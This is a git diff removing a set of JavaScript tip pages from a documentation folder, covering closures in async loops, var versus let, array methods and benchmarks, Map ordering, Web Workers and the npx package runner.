-and separating state from behavior, making each function consume a state to
-produce a new one - much like the Haskell's **State** monad - you will
-reduce many nuisances.
-
-If the object is outside your control, you're partly out of luck. This can be
-circumvented by creating convoluted computations where you solve for yourself
-circular references and reach enlightenment. However, as you're using external
-objects anyways, and they must come, as their name says, from external sources,
-then you might be more comfortable handling the matter to yet another external
-library and focus on what matters the most, i.e, your application itself.
-
-One such library is [pvorb/clone](https://github.com/pvorb/clone), which has a
-very simple API. To clone an object you only have to
-
-```js
-var clone = require('clone');
-
-var a = { foo: { bar: 'baz' } };
-var b = clone(a);
-a.foo.bar = 'foo';
-console.log(a); // {foo: {bar: 'foo'}}
-console.log(b); // {foo: {bar: 'baz'}}
-```
-
-There are, of course, many more libraries that allow you to do the same such as
-[Ramda](http://ramdajs.com/docs/#clone), [lodash.clonedeep](https://www.npmjs.com/package/lodash.clonedeep)
-and [lodash.clone](https://www.npmjs.com/package/lodash.clone).
-
-As an end note, if you are serious about dealing with immutable structures, you
-might want to check **ClojureScript** or (for those that feel that Haskell's
-worth a shot) **PureScript**.
-
-We neither encourage, nor condemn, the use of self made cloning mechanisms. Only
-noting that considerable work has been done on the area and that you'd probably
-be better of reusing than reinventing the wheel.
diff --git a/docs/content/js-topics/implementingasynchronousloops.md b/docs/content/js-topics/implementingasynchronousloops.md
deleted file mode 100644
index e88949de05..0000000000
--- a/docs/content/js-topics/implementingasynchronousloops.md
+++ /dev/null
@@ -1,92 +0,0 @@
-title: Implementing asynchronous loop
-tip-number: 34
-tip-username: madmantalking
-tip-username-profile: https://github.com/madmantalking
-tip-tldr: You may run into problems while implementing asynchronous loops.
-
--   /en/implementing-asynchronous-loops/
-
-Let's try out writing an asynchronous function which prints the value of the loop index every second.
-
-```js
-for (var i = 0; i < 5; i++) {
-    setTimeout(function () {
-        console.log(i);
-    }, 1000 * (i + 1));
-}
-```
-
-The output of the above programs turns out to be
-
-```js
-> 5
-> 5
-> 5
-> 5
-> 5
-```
-
-So this definitely doesn't work.
-
-**Reason**
-
-Each timeout refers to the original `i`, not a copy. So the for loop increments `i` until it gets to 5, then the timeouts run and use the current value of `i` (which is 5).
-
-Well , this problem seems easy. An immediate solution that strikes is to cache the loop index in a temporary variable.
-
-```js
-for (var i = 0; i < 5; i++) {
-    var temp = i;
-    setTimeout(function () {
-        console.log(temp);
-    }, 1000 * (i + 1));
-}
-```
-
-But again the output of the above programs turns out to be
-
-```js
-> 4
-> 4
-> 4
-> 4
-> 4
-```
-
-So , that doesn't work either , because blocks don't create a scope and variables initializers are hoisted to the top of the scope. In fact, the previous block is the same as:
-
-```js
-var temp;
-for (var i = 0; i < 5; i++) {
-    temp = i;
-    setTimeout(function () {
-        console.log(temp);
-    }, 1000 * (i + 1));
-}
-```
-
-**Solution**
-
-There are a few different ways to copy `i`. The most common way is creating a closure by declaring a function and passing `i` as an argument. Here we do this as a self-calling function.
-
-```js
-for (var i = 0; i < 5; i++) {
-    (function (num) {
-        setTimeout(function () {
-            console.log(num);
-        }, 1000 * (i + 1));
-    })(i);
-}
-```
-
-In JavaScript, arguments are passed by value to a function. So primitive types like numbers, dates, and strings are basically copied. If you change them inside the function, it does not affect the outside scope. Objects are special: if the inside function changes a property, the change is reflected in all scopes.
-
-Another approach for this would be with using `let`. With ES6 the `let` keyword is useful since it's block scoped unlike `var`
-
-```js
-for (let i = 0; i < 5; i++) {
-    setTimeout(function () {
-        console.log(i);
-    }, 1000 * (i + 1));
-}
-```
diff --git a/docs/content/js-topics/improvenestedconditionals.md b/docs/content/js-topics/improvenestedconditionals.md
deleted file mode 100644
index bea8c0ab10..0000000000
--- a/docs/content/js-topics/improvenestedconditionals.md
+++ /dev/null
@@ -1,99 +0,0 @@
-title: Improve Nested Conditionals
-tip-number: 03
-tip-username: AlbertoFuente
-tip-username-profile: https://github.com/AlbertoFuente
-tip-tldr: How can we improve and make a more efficient nested `if` statement in javascript?
-
--   /en/improve-nested-conditionals/
-
-How can we improve and make a more efficient nested `if` statement in javascript?
-
-```js
-if (color) {
-    if (color === 'black') {
-        printBlackBackground();
-    } else if (color === 'red') {
-        printRedBackground();
-    } else if (color === 'blue') {
-        printBlueBackground();
-    } else if (color === 'green') {
-        printGreenBackground();
-    } else {
-        printYellowBackground();
-    }
-}
-```
-
-One way to improve the nested `if` statement would be using the `switch` statement. Although it is less verbose and is more ordered, it's not recommended to use it because it's so difficult to debug errors. Here's [why](https://toddmotto.com/deprecating-the-switch-statement-for-object-literals).
-
-```js
-switch (color) {
-    case 'black':
-        printBlackBackground();
-        break;
-    case 'red':
-        printRedBackground();
-        break;
-    case 'blue':
-        printBlueBackground();
-        break;
-    case 'green':
-        printGreenBackground();
-        break;
-    default:
-        printYellowBackground();
-}
-```
-
-But what if we have a conditional with several checks in each statement? In this case, if we want it less verbose and more ordered, we can use the conditional `switch`.
-If we pass `true` as a parameter to the `switch` statement, it allows us to put a conditional in each case.
-
-```js
-switch (true) {
-    case typeof color === 'string' && color === 'black':
-        printBlackBackground();
-        break;
-    case typeof color === 'string' && color === 'red':
-        printRedBackground();
-        break;
-    case typeof color === 'string' && color === 'blue':
-        printBlueBackground();
-        break;
-    case typeof color === 'string' && color === 'green':
-        printGreenBackground();
-        break;
-    case typeof color === 'string' && color === 'yellow':
-        printYellowBackground();
-        break;
-}
-```
-
-If refactoring is an option, we can try to simplify the functions themselves. For example instead of having a function for each background color we could have an function that takes the color as an argument.
-
----
-
-```js
-function printBackground(color) {
-    if (!color || typeof color !== 'string') {
-        return; // Invalid color, return immediately
-    }
-}
-```
-
-But if refactoring is not an option, we must always avoid having several checks in every condition and avoid using `switch` as much as possible. We also must take into account that the most efficient way to do this is through an `object`.
-
-```js
-var colorObj = {
-    black: printBlackBackground,
-    red: printRedBackground,
-    blue: printBlueBackground,
-    green: printGreenBackground,
-    yellow: printYellowBackground
-};
-
-if (color in colorObj) {
-    colorObj[color]();
-}
-```
-
-Here you can find more information about [this](http://www.nicoespeon.com/en/2015/01/oop-revisited-switch-in-js/).
diff --git a/docs/content/js-topics/improvingyourasyncfunctionswith.md b/docs/content/js-topics/improvingyourasyncfunctionswith.md
deleted file mode 100644
index f305cba2b6..0000000000
--- a/docs/content/js-topics/improvingyourasyncfunctionswith.md
+++ /dev/null
@@ -1,73 +0,0 @@
-title: Improving your Async functions with WebWorkers
-tip-number: 74
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: JS runs in a single thread in the browser, this is the truth. In this tip I'll show you how to unleash the full power of asynchronous processing with Web Workers.
-
-categories: - en - javascript
-
----
-
-> JS shall have but one Thread (in the browser at least)
->
-> -- Thus spoke the master programmer.
-
-JS runs in a single thread in the browser, this is the truth.
-
-Somewhere in its own universe, there exists a Queue which holds messages
-and functions associated with them.
-
-Every time an event (i.e, a user clicks a button) is registered, there's
-a runtime check to see whether there's any listener attached to that event.
-If there's one, it will enqueue the message. Otherwise, it will be lost
-forever.
-
-Now, our event loop processes one message at a time, meaning that if you
-do some CPU intensive operation (i.e, number crunching) this will indeed
-'block' the one Thread, rendering our application useless.
-
-This is true even for `async` functions, which will be queued as soon as
-invoked and executed as soon as possible (immediately given the queue is
-empty).
-
-I/O such as requests to external resources are non-blocking though, so you
-can request a file as large as you want without fear. The associated
-callback, however, will show the same characteristics of an `async` function.
-
-Strategies for processing lots of data vary a lot. You could partition data
-and set timeouts for processing bits of it a time for example. But to unleash
-the full power of asynchronous processing, you should use Web Workers.
-
-To do so, you separate the processing part in a different file (possibly
-'my_worker.js'), create a worker with `newWorker = new Worker('my_worker.js');`
-and offload the processing to it.
-
-```js
-// my_worker.js
-const do_a_lot_of_processing = (data) => {
-    ....
-}
-
-onmessage = (e) => {
-    postMessage(do_a_lot_of_processing(e.data));
-}
-
-// main.js
-const myWorker = new Worker('my_worker.js');
-
-async function get_useful_data() {
-    const raw_data = await request(some_url);
-    myWorker.postmessage(raw_data);
-}
-
-const show_data => (e) {
-    const data = e.data;
-    ...
-}
-
-myWorker.onmessage(show_data);
-get_useful_data();
-```
-
-Your mileage may vary of course, and there are many abstractions that can be
-built upon this model.
diff --git a/docs/content/js-topics/insertiteminsidean.md b/docs/content/js-topics/insertiteminsidean.md
deleted file mode 100644
index 9a78da33fe..0000000000
--- a/docs/content/js-topics/insertiteminsidean.md
+++ /dev/null
@@ -1,179 +0,0 @@
-title: Insert item inside an Array
-
-tip-number: 00
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: Inserting an item into an existing array is a daily common task. You can add elements to the end of an array using push, to the beginning using unshift, or to the middle using splice.
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/insert-item-inside-an-array/
-
-# Inserting an item into an existing array
-
-Inserting an item into an existing array is a daily common task. You can add elements to the end of an array using push, to the beginning using unshift, or to the middle using splice.
-
-Those are known methods, but it doesn't mean there isn't a more performant way. Here we go:
-
-## Adding an element at the end
-
-Adding an element at the end of the array is easy with push(), but it can be done in different ways.
-
-```js
-var arr = [1, 2, 3, 4, 5];
-var arr2 = [];
-
-arr.push(6);
-arr[arr.length] = 6;
-arr2 = arr.concat([6]);
-```
-
-Both first methods modify the original array. Don't believe me? Check the [jsperf](http://jsperf.com/push-item-inside-an-array)
-
-### Performance on mobile :
-
-#### Android (v4.2.2)
-
-1. _arr.push(6);_ and _arr[arr.length] = 6;_ have the same performance // 3 319 694 ops/sec
-2. _arr2 = arr.concat([6]);_ 50.61 % slower than the other two methods
-
-#### Chrome Mobile (v33.0.0)
-
-1. _arr[arr.length] = 6;_ // 6 125 975 ops/sec
-2. _arr.push(6);_ 66.74 % slower
-3. _arr2 = arr.concat([6]);_ 87.63 % slower
-
-#### Safari Mobile (v9)
-
-1. _arr[arr.length] = 6;_ // 7 452 898 ops/sec
-2. _arr.push(6);_ 40.19 % slower
-3. _arr2 = arr.concat([6]);_ 49.78 % slower
-
-```js
-Final victor
-
-1. arr[arr.length] = 6; // with an average of 5 632 856 ops/sec
-2. arr.push(6); // 35.64 % slower
-3. arr2 = arr.concat([6]); // 62.67 % slower
-```
-
-### Performance on desktop
-
-#### Chrome (v48.0.2564)
-
-1. _arr[arr.length] = 6;_ // 21 602 722 ops/sec
-2. _arr.push(6);_ 61.94 % slower
-3. _arr2 = arr.concat([6]);_ 87.45 % slower
-
-#### Firefox (v44)
-
-1. _arr.push(6);_ // 56 032 805 ops/sec
-2. _arr[arr.length] = 6;_ 0.52 % slower
-3. _arr2 = arr.concat([6]);_ 87.36 % slower
-
-#### IE (v11)
-
-1. _arr[arr.length] = 6;_ // 67 197 046 ops/sec
-2. _arr.push(6);_ 39.61 % slower
-3. _arr2 = arr.concat([6]);_ 93.41 % slower
-
-#### Opera (v35.0.2066.68)
-
-1. _arr[arr.length] = 6;_ // 30 775 071 ops/sec
-2. _arr.push(6);_ 71.60 % slower
-3. _arr2 = arr.concat([6]);_ 83.70 % slower
-
-#### Safari (v9.0.3)
-
-1. _arr.push(6);_ // 42 670 978 ops/sec
-2. _arr[arr.length] = 6;_ 0.80 % slower
-3. _arr2 = arr.concat([6]);_ 76.07 % slower
-
-```js
-Final victor
-
-1. arr[arr.length] = 6; // with an average of 42 345 449 ops/sec
-2. arr.push(6); // 34.66 % slower
-3. arr2 = arr.concat([6]); // 85.79 % slower
-```
-
-## Add an element at the beginning
-
-Now if we are trying to add an item to the beginning of the array:
-
-```js
-var arr = [1, 2, 3, 4, 5];
-
-arr.unshift(0);
-[0].concat(arr);
-```
-
-Here is a little more detail: unshift edits the original array; concat returns a new array. [jsperf](http://jsperf.com/unshift-item-inside-an-array)
-
-### Performance on mobile :
-
-#### Android (v4.2.2)
-
-1. _[0].concat(arr);_ // 1 808 717 ops/sec
-2. _arr.unshift(0);_ 97.85 % slower
-
-#### Chrome Mobile (v33.0.0)
-
-1. _[0].concat(arr);_ // 1 269 498 ops/sec
-2. _arr.unshift(0);_ 99.86 % slower
-
-#### Safari Mobile (v9)
-
-1. _arr.unshift(0);_ // 3 250 184 ops/sec
-2. _[0].concat(arr);_ 33.67 % slower
-
-```js
-Final victor
-
-1. [0].concat(arr); // with an average of 4 972 622 ops/sec
-2. arr.unshift(0); // 64.70 % slower
-```
-
-### Performance on desktop
-
-#### Chrome (v48.0.2564)
-
-1. _[0].concat(arr);_ // 2 656 685 ops/sec
-2. _arr.unshift(0);_ 96.77 % slower
-
-#### Firefox (v44)
-
-1. _[0].concat(arr);_ // 8 039 759 ops/sec
-2. _arr.unshift(0);_ 99.72 % slower
-
-#### IE (v11)
-
-1. _[0].concat(arr);_ // 3 604 226 ops/sec
-2. _arr.unshift(0);_ 98.31 % slower
-
-#### Opera (v35.0.2066.68)
-
-1. _[0].concat(arr);_ // 4 102 128 ops/sec
-2. _arr.unshift(0);_ 97.44 % slower
-
-#### Safari (v9.0.3)
-
-1. _arr.unshift(0);_ // 12 356 477 ops/sec
-2. _[0].concat(arr);_ 15.17 % slower
-
-```js
-Final victor
-
-1. [0].concat(arr); // with an average of 6 032 573 ops/sec
-2. arr.unshift(0); // 78.65 % slower
-```
-
-## Add an element in the middle
-
-Adding items in the middle of an array is easy with splice, and it's the most performant way to do it.
-
-```js
-var items = ['one', 'two', 'three', 'four'];
-items.splice(items.length / 2, 0, 'hello');
-```
-
-I tried to run these tests in various Browsers and OS and the results were similar. I hope these tips will be useful for you and encourage to perform your own tests!
diff --git a/docs/content/js-topics/keywordvarvslet.md b/docs/content/js-topics/keywordvarvslet.md
deleted file mode 100644
index 5b15ac4584..0000000000
--- a/docs/content/js-topics/keywordvarvslet.md
+++ /dev/null
@@ -1,102 +0,0 @@
-title: ES6, var vs let
-tip-number: 59
-tip-username: richzw
-tip-username-profile: https://github.com/richzw
-tip-tldr: In this tip, I will introduce the block-scope difference between keyword var and let. Should I replace var by let? let's take a look
-
--   /en/keyword-var-vs-let/
-
-categories: - en - javascript
-
----
-
-### Overview
-
--   The scope of a variable defined with `var` is function scope or declared outside any function, global.
--   The scope of a variable defined with `let` is block scope.
-
----
-
-```js
-function varvslet() {
-    console.log(i); // i is undefined due to hoisting
-    // console.log(j); // ReferenceError: j is not defined
-
-    for (var i = 0; i < 3; i++) {
-        console.log(i); // 0, 1, 2
-    }
-
-    console.log(i); // 3
-    // console.log(j); // ReferenceError: j is not defined
-
-    for (let j = 0; j < 3; j++) {
-        console.log(j);
-    }
-
-    console.log(i); // 3
-    // console.log(j); // ReferenceError: j is not defined
-}
-```
-
-### Difference Details
-
--   Variable Hoisting
-
-    `let` will not hoist to the entire scope of the block they appear in. By contrast, `var` could hoist as below.
-
-```js
-{
-    console.log(c); // undefined. Due to hoisting
-    var c = 2;
-}
-
-{
-    console.log(b); // ReferenceError: b is not defined
-    let b = 3;
-}
-```
-
--   Closure in Loop
-
-    `let` in the loop can re-binds it to each iteration of the loop, making sure to re-assign it the value from the end of the previous loop iteration, so it can be used to avoid issue with closures.
-
-```js
-for (var i = 0; i < 5; ++i) {
-    setTimeout(function () {
-        console.log(i); // output '5' 5 times
-    }, 100);
-}
-```
-
-After replacing `var` with `let`
-
-```js
-// print 1, 2, 3, 4, 5
-for (let i = 0; i < 5; ++i) {
-    setTimeout(function () {
-        console.log(i); // output 0, 1, 2, 3, 4
-    }, 100);
-}
-```
-
-### Should I replace `var` with `let`?
-
-> NO, `let` is the new block scoping `var`. That statement emphasizes that `let` should replace `var` only when `var` was already signaling
-> block scoping stylistically. Otherwise, leave `var` alone. `let` improves scoping options in JS, not replaces. `var` is still a useful signal for variables that are used throughout the function.
-
-### `let` compatibility
-
--   In server side, such as Node.js, you can safely use the `let` statement now.
--   In client side, through a transpiler (like [Traceur](https://github.com/google/traceur-compiler)), you can safely use the `let` statement. Otherwise, please consider the browser support [here](http://caniuse.com/#search=let)
-
-### Playground
-
-<div>
-  <a class="jsbin-embed" href="http://jsbin.com/yumaye/embed?js,console">JS Bin on jsbin.com</a><script src="http://static.jsbin.com/js/embed.min.js?3.39.11"></script>
-</div>
-
-### More info
-
--   [Let keyword vs var keyword](http://stackoverflow.com/questions/762011/let-keyword-vs-var-keyword)
--   [For and against let](https://davidwalsh.name/for-and-against-let)
--   [Explanation of `let` and block scoping with for loops](http://stackoverflow.com/questions/30899612/explanation-of-let-and-block-scoping-with-for-loops/30900289#30900289).
diff --git a/docs/content/js-topics/knowthepassingmechanism.md b/docs/content/js-topics/knowthepassingmechanism.md
deleted file mode 100644
index 7f2c4ea70d..0000000000
--- a/docs/content/js-topics/knowthepassingmechanism.md
+++ /dev/null
@@ -1,57 +0,0 @@
-title: Know the passing mechanism
-tip-number: 44
-tip-username: bmkmanoj
-tip-username-profile: https://github.com/bmkmanoj
-tip-tldr: JavaScript technically only passes by value for both primitives and object (or reference) types. In case of reference types the reference value itself is passed by value.
-
--   /en/know-the-passing-mechanism/
-
-JavaScript is pass-by-value, technically. It is neither pass-by-value nor pass-by-reference, going by the truest sense of these terms. To understand this passing mechanism, take a look at the following two example code snippets and the explanations.
-
-### Example 1
-
-```js
-var me = {
-    // 1
-    partOf: 'A Team'
-};
-
-function myTeam(me) {
-    // 2
-
-    me = {
-        // 3
-        belongsTo: 'A Group'
-    };
-}
-
-myTeam(me);
-console.log(me); // 4  : {'partOf' : 'A Team'}
-```
-
-In above example, when the `myTeam` gets invoked, JavaScript is _passing the reference to_ `me` _object as value, as it is an object_ and invocation itself creates two independent references to the same object, (though the name being same here i.e. `me`, is misleading and gives us an impression that it is the single reference) and hence, the reference variable themselves are independent.
-
-When we assigned a new object at #`3`, we are changing this reference value entirely within the `myTeam` function, and it will not have any impact on the original object outside this function scope, from where it was passed and the reference in the outside scope is going to retain the original object and hence the output from #`4`.
-
-### Example 2
-
-```js
-var me = {
-    // 1
-    partOf: 'A Team'
-};
-
-function myGroup(me) {
-    // 2
-    me.partOf = 'A Group'; // 3
-}
-
-myGroup(me);
-console.log(me); // 4  : {'partOf' : 'A Group'}
-```
-
-In the case of `myGroup` invocation, we are passing the object `me`. But unlike the example 1 scenario, we are not assigning this `me` variable to any new object, effectively meaning the object reference value within the `myGroup` function scope still is the original object's reference value and when we are modifying the property within this scope, it is effectively modifying the original object's property. Hence, you get the output from #`4`.
-
-So does this later case not prove that javascript is pass-by-reference? No, it does not. Remember, _JavaScript passes the reference as value, in case of objects_. The confusion arises as we tend not to understand fully what pass by reference is. This is the exact reason, some prefer to call this as _call-by-sharing_.
-
-_Initially posted by the author on [js-by-examples](https://github.com/bmkmanoj/js-by-examples/blob/master/examples/js_pass_by_value_or_reference.md)_
diff --git a/docs/content/js-topics/loopingoverarrays.md b/docs/content/js-topics/loopingoverarrays.md
deleted file mode 100644
index 16d6320cc2..0000000000
--- a/docs/content/js-topics/loopingoverarrays.md
+++ /dev/null
@@ -1,117 +0,0 @@
-title: Looping over arrays
-tip-number: 79
-tip-username: loverajoel
-tip-username-profile: https://github.com/loverajoel
-tip-tldr: There's a few methods for looping over arrays in Javascript. We'll start with the classical ones and move towards additions made to the standard.
-
-categories: - en - javascript
-
----
-
-# Looping over arrays
-
-There's a few methods for looping over arrays in Javascript. We'll start
-with the classical ones and move towards additions made to the standard.
-
-## while
-
-```js
-let index = 0;
-const array = [1, 2, 3, 4, 5, 6];
-
-while (index < array.length) {
-    console.log(array[index]);
-    index++;
-}
-```
-
-## for (classical)
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-for (let index = 0; index < array.length; index++) {
-    console.log(array[index]);
-}
-```
-
-## forEach
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-
-array.forEach(function (current_value, index, array) {
-    console.log(`At index ${index} in array ${array} the value is ${current_value}`);
-});
-// => undefined
-```
-
-## map
-
-The last construct was useful, however, it doesn't return a new array which might
-be undesirable for your specific case. `map` solves this by applying a function
-over every element and then returning the new array.
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-const square = (x) => Math.pow(x, 2);
-const squares = array.map(square);
-console.log(`Original array: ${array}`);
-console.log(`Squared array: ${squares}`);
-```
-
-The full signature for `map` is `.map(current_value, index, array)`.
-
-## reduce
-
-From MDN:
-
-> The reduce() method applies a function against an accumulator and each element
-> in the array (from left to right) to reduce it to a single value.
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-const sum = (x, y) => x + y;
-const array_sum = array.reduce(sum, 0);
-console.log(`The sum of array: ${array} is ${array_sum}`);
-```
-
-## filter
-
-Filters elements on an array based on a boolean function.
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-const even = (x) => x % 2 === 0;
-const even_array = array.filter(even);
-console.log(`Even numbers in array ${array}: ${even_array}`);
-```
-
-## every
-
-Got an array and want to test if a given condition is met in every element?
-
-```js
-const array = [1, 2, 3, 4, 5, 6];
-const under_seven = (x) => x < 7;
-
-if (array.every(under_seven)) {
-    console.log('Every element in the array is less than 7');
-} else {
-    console.log('At least one element in the array was bigger than 7');
-}
-```
-
-## some
-
-Test if at least one element matches our boolean function.
-
-```js
-const array = [1, 2, 3, 9, 5, 6, 4];
-const over_seven = (x) => x > 7;
-
-if (array.some(over_seven)) {
-    console.log('At least one element bigger than 7 was found');
-} else {
-    console.log('No element bigger than 7 was found');
-}
-```
diff --git a/docs/content/js-topics/makeeasylooponarray.md b/docs/content/js-topics/makeeasylooponarray.md
deleted file mode 100644
index e4deee72dd..0000000000
--- a/docs/content/js-topics/makeeasylooponarray.md
+++ /dev/null
@@ -1,105 +0,0 @@
-title: Create an easy loop using an array
-tip-number: 55
-tip-username: jamet-julien
-tip-username-profile: https://github.com/jamet-julien
-tip-tldr: Sometimes, we need to loop endlessly over an array of items, like a carousel of images or an audio playlist. Here's how to take an array and give it "looping powers"
-
--   /en/make-easy-loop-on-array/
-
-categories: - en - javascript
-
----
-
-Sometimes, we need to loop endlessly over an array of items, like a carousel of images or an audio playlist. Here's how to take an array and give it "looping powers":
-
-```js
-var aList = ['A', 'B', 'C', 'D', 'E'];
-
-function make_looper(arr) {
-    arr.loop_idx = 0;
-
-    // return current item
-    arr.current = function () {
-        if (this.loop_idx < 0) {
-            // First verification
-            this.loop_idx = this.length - 1; // update loop_idx
-        }
-
-        if (this.loop_idx >= this.length) {
-            // second verification
-            this.loop_idx = 0; // update loop_idx
-        }
-
-        return arr[this.loop_idx]; //return item
-    };
-
-    // increment loop_idx AND return new current
-    arr.next = function () {
-        this.loop_idx++;
-        return this.current();
-    };
-    // decrement loop_idx AND return new current
-    arr.prev = function () {
-        this.loop_idx--;
-        return this.current();
-    };
-}
-
-make_looper(aList);
-
-aList.current(); // -> A
-aList.next(); // -> B
-aList.next(); // -> C
-aList.next(); // -> D
-aList.next(); // -> E
-aList.next(); // -> A
-aList.pop(); // -> E
-aList.prev(); // -> D
-aList.prev(); // -> C
-aList.prev(); // -> B
-aList.prev(); // -> A
-aList.prev(); // -> D
-```
-
-Using the `%` ( Modulus ) operator is prettier.The modulus return division's rest ( ` 2 % 5 = 1` and ` 5 % 5 = 0`):
-
-```js
-var aList = ['A', 'B', 'C', 'D', 'E'];
-
-function make_looper(arr) {
-    arr.loop_idx = 0;
-
-    // return current item
-    arr.current = function () {
-        this.loop_idx = this.loop_idx % this.length; // no verification !!
-        return arr[this.loop_idx];
-    };
-
-    // increment loop_idx AND return new current
-    arr.next = function () {
-        this.loop_idx++;
-        return this.current();
-    };
-
-    // decrement loop_idx AND return new current
-    arr.prev = function () {
-        this.loop_idx += this.length - 1;
-        return this.current();
-    };
-}
-
-make_looper(aList);
-
-aList.current(); // -> A
-aList.next(); // -> B
-aList.next(); // -> C
-aList.next(); // -> D
-aList.next(); // -> E
-aList.next(); // -> A
-aList.pop(); // -> E
-aList.prev(); // -> D
-aList.prev(); // -> C
-aList.prev(); // -> B
-aList.prev(); // -> A
-aList.prev(); // -> D
-```
diff --git a/docs/content/js-topics/maptotherescueaddingordertoobjectproperties.md b/docs/content/js-topics/maptotherescueaddingordertoobjectproperties.md
deleted file mode 100644
index 38eaf54e1f..0000000000
--- a/docs/content/js-topics/maptotherescueaddingordertoobjectproperties.md
+++ /dev/null
@@ -1,70 +0,0 @@
-title: Map() to the rescue; adding order to Object properties
-tip-number: 32
-tip-username: loverajoel
-tip-username-profile: https://twitter.com/loverajoel
-tip-tldr: An Object it is an unordered collection of properties... that means that if you are trying to save ordered data inside an Object, you have to review it because properties order in objects are not guaranteed.
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/map-to-the-rescue-adding-order-to-object-properties/
-
-## Object properties order
-
-> An object is a member of the type Object. It is an unordered collection of properties each of which contains a primitive value, object, or function. A function stored in a property of an object is called a method. [ECMAScript](http://www.ecma-international.org/publications/files/ECMA-ST-ARCH/ECMA-262,%203rd%20edition,%20December%201999.pdf)
-
-Take a look in action
-
-```js
-var myObject = {
-	z: 1,
-	'@': 2,
-	b: 3,
-	1: 4,
-	5: 5
-};
-console.log(myObject) // Object {1: 4, 5: 5, z: 1, @: 2, b: 3}
-
-for (item in myObject) {...
-// 1
-// 5
-// z
-// @
-// b
-```
-
-Each browser have his own rules about the order in objects bebause technically, order is unspecified.
-
-## How to solve this?
-
-### Map
-
-Using a new ES6 feature called Map. A [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) object iterates its elements in insertion order — a `for...of` loop returns an array of [key, value] for each iteration.
-
-```js
-var myObject = new Map();
-myObject.set('z', 1);
-myObject.set('@', 2);
-myObject.set('b', 3);
-for (var [key, value] of myObject) {
-  console.log(key, value);
-...
-// z 1
-// @ 2
-// b 3
-```
-
-### Hack for old browsers
-
-Mozilla suggest:
-
-> So, if you want to simulate an ordered associative array in a cross-browser environment, you are forced to either use two separate arrays (one for the keys and the other for the values), or build an array of single-property objects, etc.
-
-```js
-// Using two separate arrays
-var objectKeys = [z, @, b, 1, 5];
-for (item in objectKeys) {
-	myObject[item]
-...
-
-// Build an array of single-property objects
-var myData = [{z: 1}, {'@': 2}, {b: 3}, {1: 4}, {5: 5}];
-```
diff --git a/docs/content/js-topics/nodejsrunamoduleifitisnot.md b/docs/content/js-topics/nodejsrunamoduleifitisnot.md
deleted file mode 100644
index a535b35df0..0000000000
--- a/docs/content/js-topics/nodejsrunamoduleifitisnot.md
+++ /dev/null
@@ -1,23 +0,0 @@
-title: Node.js - Run a module if it is not `required`
-tip-number: 17
-tip-username: odsdq
-tip-username-profile: https://twitter.com/odsdq
-tip-tldr: In node, you can tell your program to do two different things depending on whether the code is run from `require('./something.js')` or `node something.js`. This is useful if you want to interact with one of your modules independently.
-
--   /en/nodejs-run-a-module-if-it-is-not-required/
-
-In node, you can tell your program to do two different things depending on whether the code is run from `require('./something.js')` or `node something.js`. This is useful if you want to interact with one of your modules independently.
-
-```js
-if (!module.parent) {
-    // ran with `node something.js`
-    app.listen(8088, function () {
-        console.log('app listening on port 8088');
-    });
-} else {
-    // used with `require('/.something.js')`
-    module.exports = app;
-}
-```
-
-See [the documentation for modules](https://nodejs.org/api/modules.html#modules_module_parent) for more info.
diff --git a/docs/content/js-topics/npx.md b/docs/content/js-topics/npx.md
deleted file mode 100644
index 4f145d8dca..0000000000
--- a/docs/content/js-topics/npx.md
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: The npx Node.js Package Runner
-sections: []
-seo:
-    title: ''
-    description: npx is a very cool way to run Node.js code, and provides many useful features
-    robots: []
-    extra: []
-    type: stackbit_page_meta
-template: docs
----
-
-# NPX:
-
-`npx` is a very powerful command that's been available in **npm** starting version 5.2, released in July 2017.
-
-> If you don't want to install npm, you can [install npx as a standalone package](https://www.npmjs.com/package/npx)
-
-`npx` lets you run code built with Node.js and published through the npm registry.
-
-## Easily run local commands
-
-Node.js developers used to publish most of the executable commands as global packages, in order for them to be in the path and executable immediately.
-
-This was a pain because you could not really install different versions of the same command.
-
-Running `npx commandname` automatically finds the correct reference of the command inside the `node_modules` folder of a project, without needing to know the exact path, and without requiring the package to be installed globally and in the user's path.
-
-## Installation-less command execution
-
-There is another great feature of `npx`, which is allowing to run commands without first installing them.
-
-This is pretty useful, mostly because:
-
-1. you don't need to install anything
-2. you can run different versions of the same command, using the syntax @version
-
-A typical demonstration of using `npx` is through the `cowsay` command. `cowsay` will print a cow saying what you wrote in the command. For example:
-
-`cowsay "Hello"` will print
-
-```
- _______
-< Hello >
- -------
-        \   ^__^
-         \  (oo)\_______
-            (__)\       )\/\
-                ||----w |
-                ||     ||
-```
-
-This only works if you have the `cowsay` command globally installed from npm previously. Otherwise you'll get an error when you try to run the command.
-
-`npx` allows you to run that npm command without having it installed locally:
-
-```bash
-npx cowsay "Hello"
-```
-
-will do the job.
-
-Now, this is a funny useless command.
-Other scenarios include:
-
--   running the `vue` CLI tool to create new applications and run them: `npx @vue/cli create my-vue-app`
--   creating a new React app using `create-react-app`: `npx create-react-app my-react-app`
-
-and many more.
-
-Once downloaded, the downloaded code will be wiped.
-
-## Run some code using a different Node.js version
-
-Use the `@` to specify the version, and combine that with the [`node` npm package](https://www.npmjs.com/package/node):
-
-```bash
-npx node@10 -v #v10.18.1
-npx node@12 -v #v12.14.1
-```
-
-This helps to avoid tools like `nvm` or the other Node.js version management tools.
-
-## Run arbitrary code snippets directly from a URL
-
-`npx` does not limit you to the packages published on the npm registry.
-
-You can run code that sits in a GitHub gist, for example:
-
-```bash
-npx https://gist.github.com/zkat/4bc19503fe9e9309e2bfaa2c58074d32
-```
-
-Of course, you need to be careful when running code that you do not control, as with great power comes great responsibility.
diff --git a/docs/content/js-topics/observedomchanges.md b/docs/content/js-topics/observedomchanges.md
deleted file mode 100644
index 91b8caf052..0000000000
--- a/docs/content/js-topics/observedomchanges.md
+++ /dev/null
@@ -1,59 +0,0 @@
-title: Observe DOM changes in extensions
-tip-number: 36
-tip-username: beyondns
-tip-username-profile: https://github.com/beyondns
